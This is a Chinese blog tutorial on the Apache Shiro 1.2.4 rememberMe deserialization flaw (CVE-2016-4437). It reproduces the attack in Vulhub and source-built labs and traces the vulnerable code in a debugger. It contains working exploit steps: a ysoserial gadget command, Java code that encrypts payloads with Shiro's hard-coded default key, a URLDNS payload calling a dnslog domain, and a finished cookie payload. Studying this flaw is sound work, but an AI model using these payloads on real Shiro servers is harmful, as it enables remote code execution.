一篇文章说清楚Shiro-550漏洞
一篇文章说清楚Shiro-550漏洞
0xNvyao 安全随笔 2024-03-11 20:30
篇幅有点长了……不过不管是想看漏洞复现的还是代码调试,看这一篇就可以了。
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Shiro-550指的是Apache Shiro 1.2.4反序列化漏洞,漏洞编号:CVE-2016-4437,影响版本是:Apache Shiro <= 1.2.4
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。本篇花点篇幅详细介绍下这个漏洞,包括漏洞复现、漏洞原理分析、代码调试等。
目录:
0x01,搭建靶场并复现
Shiro-550漏洞
1)Vulhub的Shiro靶场
2)Apache shiro官方源码部署
0x02,漏洞原理分析和代码调试
1)Remember Me功能介绍
2)
Remember Me序列化流程
3)Remember Me反序列化流程
0x03,纯手工复现加深理解
0x01,搭建靶场并复现Shiro-550漏洞
Vulhub-Shiro靶场
1)安装Vulhub
Vulhub是一个基于docker
和docker-compose
的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
Vulhub漏洞源码:https://github.com/vulhub/vulhub.git,需要在测试机器安装好docker
和docker-compose
2)启动Shiro
CVE-2016-4437靶场
进入本地Vulhub的Shiro
CVE-2016-4437子目录,
执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:
docker compose up -d
服务启动后,
访问
http://your-ip:8080
可使用admin:vulhub
进行登录:
3)使用现成Shiro漏洞测试效果
成功反弹shell:
4
)或者手动使用ysoserial生成CommonsBeanutils1的Gadget来验证
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success111" > poc2.ser
5)使用Shiro内置的默认密钥加密Payload:
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class Test {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/liujianping/IdeaProjects/java_code/SecVul/SerializableDemo/src/test/java/poc2.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
执行返回加密后的Payload,也就是rememberMe的值:
6)burpsuite抓包、手动发包
7)进入容器验证效果,攻击成功
以上是Vulhub Shiro550靶场的搭建和漏洞复现,并且演示了两种复现方式。
Apache shiro官方源码部署
Apache-Shiro项目地址
https://github.com/apache/shiro
Shiro-550项目代码
https://github.com/apache/shiro/releases/shiro-root-1.2.4
以上是Apache Shiro项目官网源码地址,需要找到1.2.4版本的源码。现在开始通过官方源码来搭建1.2.4版本的Shiro靶场。
⚠️注意
⚠️:笔者在搭建Apache Shiro官方源码项目的时候,因为看到一篇文章说Shiro1.2.4需要在
JDK
1.6和Maven 3.2.1下编译,导致走了很多坑,后来经过查阅资料,发现1.8版本也是可以编译的!!!
1)下载Shiro1.2.4源码并导入IDEA中
项目导入后,会自动下载相关的依赖包。
2)配置toolchains.xml
如果不配置toolchains,编译会报如下错误…
Maven Toolchains介绍
https://maven.apache.org/guides/mini/guide-using-toolchains.html
什么是toolchains?
Maven 工具链为项目提供了一种指定用于构建项目的 JDK(或其他工具)的方法,而无需在每个插件或每个 pom.xml 中进行配置。
当 Maven 工具链用于指定 JDK 时,可以通过
独立于运行 Maven 的特定版本的 JDK 来构建项目。这类似于在 IDEA、NetBeans 和 Eclipse 等 IDE 中设置 JDK 版本的方式。
根据maven官网关于toolchains的介绍,为了使用toolchains组件需要配置两个地方:
2.1)添加/usr/local/apache-maven-3.9.3/conftoochains.xml文件,配置文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.8</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
2.2)Shiro中的samples-web项目pom文件添加toolschains插件
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-toolchains-plugin</artifactId>
<version>1.1</version>
<executions>
<execution>
<goals>
<goal>toolchain</goal>
</goals>
</execution>
</executions>
<configuration>
<toolchains>
<jdk>
<version>1.8</version>
<vendor>sun</vendor>
</jdk>
</toolchains>
</configuration>
</plugin>
3)修改Shiro1.2.4项目中samples-web的jstl依赖版本为1.2
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!--这里将jstl设置为1.2-->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
4)测试编译打包通过
5)IDEA配置tomcat启动项目
启动成功:
当然,这里也可以自己部署一台tomcat,然后将上面打包的war放到tomcat的webapp目录下也行。
6)Shiro漏洞利用工具测试效果
这里说明一下,需要手动在Shiro项目的Samples web的pom文件中,添加4.0版本的
commons-collections4 依赖,如下,不然执行Shiro反序列化利用会提示找不到利用链:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
增加依赖后再次测试,可以反序列化了:
反弹shell也是可以的:
当然这需要在服务端引入CommonsCollections组件,真实情况不可能给你引入的,所以还是需要找到一条shiro自身的利用链而不需要任何的前提条件,其实是有的,不过这篇文章不介绍了。
总结一下Shiro550漏洞的复现,对比下来可以看到,Shiro官方的源码部署靶场确实比较困难,而且有不少坑,相对来说Vulhub真的太方便了,
0x02,漏洞原理分析
Shiro-550 反序列化漏洞产生原因是因为Shiro接受了Cookie里面rememberMe的值,然后去进行Base64解码后,再使用AES密钥解密后的数据,进行
反序列化
。
什么是反序列化?
0xNvyao,公众号:安全随笔java序列化和反序列化
由于该版本AES加密的
密钥Key被硬编码在代码
里(这也是漏洞能够被利用的原理),这意味着攻击者只要找到加密密钥就可以构造恶意对象
,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的remmeberMe字段值发送给服务端,Shiro拿到数据将数据进行反向操作,也就是Base64解码–>AES解密–>反序列化,这样就触发了反序列化漏洞。
那么这里构造恶意对象就比较简单了,可以是通过简单的URLDNS链来执行dnslog查询验证,也可以通过ysoserial来生成各种cc链对象进行RCE。
URLDNS链
0xNvyao,公众号:安全随笔一篇文章说清楚URLDNS链
RememberMe功能说明
Shiro在
登陆处提供了Remember Me这个功能,用来记录用户登陆状态,
登陆的时候如果勾选了Remember Me,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro会对用户传入的cookie的rememberMe参数值进行
解密并
进行反序列化为UserBean,从而知道当前记住的是哪个用户。
RememberMe序列化流程
漏洞产生点在CookieRememberMeManager这个类,寻找其中有个方法:rememberSerializedIdentity。该方法的注释中写到:
Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.
对指定的序列化字节数组进行 Base64 编码,并将该 Base64 编码的字符串设置为 cookie 值。
这个就是Shiro RememberMe cookie值的生成过程,那么就往上查看该方法都是被怎么调用的:
来到父类AbstractRememberMeManager,该类调用了rememberSerializedIdentity方法,如下:
继续跟进哪里调用了rememberIdentity方法,同样方式继续跟进:
来到了这里,发现
rememberIdentity被onSuccessfulLogin方法调用,到这里就到了登陆成功的方法。
总结一下,用户登陆成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要是生成加密的RememberMe Cookie值,然后将生成的Cookie值给到前面分析的CookieRememberMeManager.rememberSerializedIdentity方法进行Base64编码并塞到HttpServletResponse中给到用户浏览器。
下面通过动态调试看一下RememberMe的序列化及AES加密、Base64编码的全过程:
来到上面分析的登陆成功处,打一个断点,然后web登陆入口输入root/secret口令进行提交,回到IDEA中一步步调试,来一次正向的分析:
来到断点处,如下图可以看到登陆提交的账号密码以及rememberMe=true:
isRememberMe显然是用于判断用户是否选择了Remember Me选项,如果勾选了就会调用rememberIdentity方法并传入三个参数。继续跟进该方法:
继续跟进,来到AbstractRememberMeManager.rememberIdentity方法,里面调用convertPrincipalsToBytes方法,进入看看来到
AbstractRememberMeManager.convertPrincipalsToBytes方法,可以看到,该方法先调用了serialize序列化,然后调用encrypt加密:
进入
serialize方法,继续跟进getSerializer().serialize方法,看看序列化的具体实现。
来到DefaultSerializer.serialize方法,进入这个方法就很清晰了:
先创建一个
ObjectOutputStream
对象输出流
,也就是序列化
用的对象,
将Simple
PrincipalCollection
类型
的
对象(o
)
写入
ObjectOutputStream
对象输出流,完成序列化操作。
然后返回序列化后的Byte数组。
执行完上面的
getSerializer().serialize方法,又回到
AbstractRememberMeManager.convertPrincipalsToBytes方法,下一步看到:bytes = encrypt(bytes);,跟进进入看下:
跟进到encrypt方法,传入了上一步生成的serialized后的字节数组
参数,进入encrypt方法,可以先全局看下,大概能知道如图所示的:
1)传入参数:前面序列化后的字节数据
2)猜测getCipherService获取加密算法
3)cipherService.encrypt(serialized, getEncryptionCipherKey())执行加密
4)return value;返回加密后的字节数组数据
跟进到getCipherService方法看下加密算法的详细定义:
CipherService是
AbstractRememberMeManager类的一个属性,那么在类初始化完成后应该就给这个值赋值了,所以上图可以看到加密算法的一些属性:
查看常量DEFAULT_CIPHER_KEY_BYTES,就看到这个著名的“kPH+bIxk5D2deZiIxcaaaA==”密钥。
继续分析,来到下面这行代码,跟进看看,进入JcaCipherService类的encrypt加密方法:
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
继续进入generateInitializationVector方法:猜测是获取AES加密的iv向量的,看看如何实现的:
具体AES加密算法的实现比较复杂,也比较啰嗦不过多跟进了。直接来到加密结果:
下一步也是重要的一个方法,回到
AbstractRememberMeManager.rememberIdentity方法中,进入rememberSerializedIdentity方法
跟进来到CookieRememberMeManager.rememberSerializedIdentity方法,参数中有一个serialized(加密后的序列化字节数组):
看到了吧,将加密后的bytes数组进行base64编码并且存储到cookie中。
到这就分析完了rememberMe cookie值的序列化–>aes加密–>base64编码整个过程了。
RememberMe反序列化流程
前面加密过程分析到AbstractRememberMeManager.encrypt,同样该类也有一个解密方法:
AbstractRememberMeManager.de
crypt,那就从这里入手。
查一下decrypt是谁在调用:
进入convertBytesToPrincipals方法,可以看到调用了解密方法:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
在往上找一找,来到
AbstractRememberMeManager.getRememberedPrincipals方法,随便打一个断点调试:
怎么触发进入断点呢,burpsuite随便发一个包,cookie中带rememberme即可:
跟进进入getRememberedSerializedIdentity方法,这里的代码比较清晰:
获取请求带过来的rememberMe cookie base64值,进行base64解码返回。
其中,base64 = ensurePadding(base64);是用来判断base64值是否有padding填充,这个是aes加密上的概念。判断逻辑代码如下:
private String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}
回到
AbstractRememberMeManager.getRememberedPrincipals,跟进到convertBytesToPrincipals方法中:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
准备执行decrypt方法 了,这里跟进进去看:
getCipherService();这个和前面加密分析的类似,这行代码是获取aes加密算法的信息:
然后走到cipherService.decrypt方法,这个是繁琐的aes加密算法的细节实现,不再详细看了。最终走到:return decrypt(encrypted, key ,iv)
到这就拿到了解密的数据:
然后执行 return deserialize(bytes);,跟进进入看看:
重点来了,继续跟进来到:DefaultSerializer.deserialize方法:
可以看到这里通过ois.readObject执行反序列化操作。重点
然后继续往后走,直到走回到getRememberedPrincipals完成解密过程,返回principals是root对象(记住了用户,最初的勾选rememberMe):
在Shiro框架中,principals 是指代用户身份的对象。它表示当前主体(Subject)的身份信息,可以是一个用户、角色、组织或其他身份标识。
好了,分析了上面的反序列化过程,简单总结下就是:
获取rememberMe值 -> Base64解码 -> AES解密 -> 调用readObject反序列化操作
这不就是上一篇介绍的java原生反序列化流程吗,只要
构造
好恶意序列化数据,按照先AES加密,再Base64编码提交到Shiro服务端,Shiro就会按照上面流程就行反向解析从而最终执行readObject反序列化,达到攻击的效果。
0x03,纯手工复现加深理解
1)生成一个dnslog域名
2)手工构造DNSLOG序列化数据:
package com.nvyao.serializable;
import com.nvyao.bean.BadPerson;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNSDemo {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/Users/liujianping/Downloads/URLDNS.ser"));
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println("序列化成功!");
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
System.out.println("反序列化成功!");
return obj;
}
public static void main(String[] args) throws Exception {
// 以下演示HashMap+URL链
//序列化
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://9o1yaa.dnslog.cn");
//为了不让这里发起请求,把url对象的hashCode改成不是-1
// Class<? extends URL> urlClass = url.getClass();
// Field hashCodeField = urlClass.getDeclaredField("hashCode");
// hashCodeField.setAccessible(true);
// hashCodeField.set(url, 1234);
// Integer rs = hashMap.put(url, 1);
// System.out.println(rs);
// hashCodeField.set(url, -1);
serialize(hashMap);
//反序列化
// Object o = unserialize("/Users/liujianping/IdeaProjects/java_code/SecVul/SerializableDemo/URLDNSDemo.txt");
// System.out.println(o);
}
}
3)AES加密+Base64编码
手动执行加密操作:
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class Test {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/liujianping/Desktop/Tools/ysoserial-master/URLDNS.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
执行结果:
9vhmAzz5v5iJ3TfZvG8VAiaUL5fQuhWZCMF4BOBuOKmATr82KW6mEYQCg5qX1NRJIbYpGm45SYZ3QZeJDqUf+MFGwS3XJq7PBUDkD/P8MUG1PfHdL4m5PlZkbiRllLkVYJgi9hdkJkON4JQu1FU/NQ==
4)burpsuite发包